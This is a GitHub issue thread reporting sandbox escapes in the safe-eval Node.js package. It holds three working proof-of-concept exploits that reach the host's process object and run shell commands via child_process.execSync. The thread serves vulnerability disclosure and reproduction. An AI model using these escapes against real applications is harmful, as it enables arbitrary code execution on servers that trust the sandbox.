hacksparrow / safe-eval

Safer version of eval()
257 stars 37 forks source link

Breakout #18

Open XmiliaH opened 4 years ago

XmiliaH commented 4 years ago

It is possible to get access to the hosts process object as shown in:

const safeEval = require('./index');
const code = '(' + function (){
    const HostObject = this.constructor;
    const HostFunction = HostObject.is.constructor;
    const process = HostFunction('return process')();
    return process.mainModule.require('child_process').execSync('whoami').toString();
} + ')()';
try {
    console.log(safeEval(code));
} catch (e) {
    console.log(e);
}
a0xnirudh commented 4 years ago

@XmiliaH Just curious, I am not able to replicate the bug on node v12.13.0 running safe-eval. 0.4.1. HostObject is undefined ( as this.constructor is not returning anything) and it crashes when trying to read property 'is' on undefined. Am I missing something here ?

On the other node, #19 works perfect (based on your vm2 escape).

XmiliaH commented 4 years ago

@a0xnirudh yes, with v12.10.0 it also does not work. However there is an easy fix:

const safeEval = require('./index');
const code = '(' + function (){
    delete this.constructor;
    const HostObject = this.constructor;
    const HostFunction = HostObject.is.constructor;
    const process = HostFunction('return process')();
    return process.mainModule.require('child_process').execSync('whoami').toString();
} + ')()';
try {
    console.log(safeEval(code));
} catch (e) {
    console.log(e);
}

Delete the constructor first.

XmiliaH commented 4 years ago

Bonus, climb up with the function.caller property

const code = '(' + function (){
    const key = Object.getOwnPropertyNames(this).find(k => k.startsWith('SAFE_EVAL_'));
    function getter() {
        const HostFunction = getter.caller.constructor;
        const process = HostFunction('return process')();
        return process.mainModule.require('child_process').execSync('whoami').toString();
    }
    Object.defineProperty(this, key, {
        get: getter
    });
} + ')()';
try {
    console.log(safeEval(code));
} catch (e) {
    console.log(e);
}
MostafaSoliman commented 4 years ago

Hi, I found a restricted escape, I Wrote the explanation here https://github.com/MostafaSoliman/Security-Advisories/blob/master/Safe-eval%20Sandbox%20Escape/readme.md

S4lt5 commented 4 years ago

@XmiliaH Thanks for the repro. That is fairly scary that this is unpatched with so many downloads every week!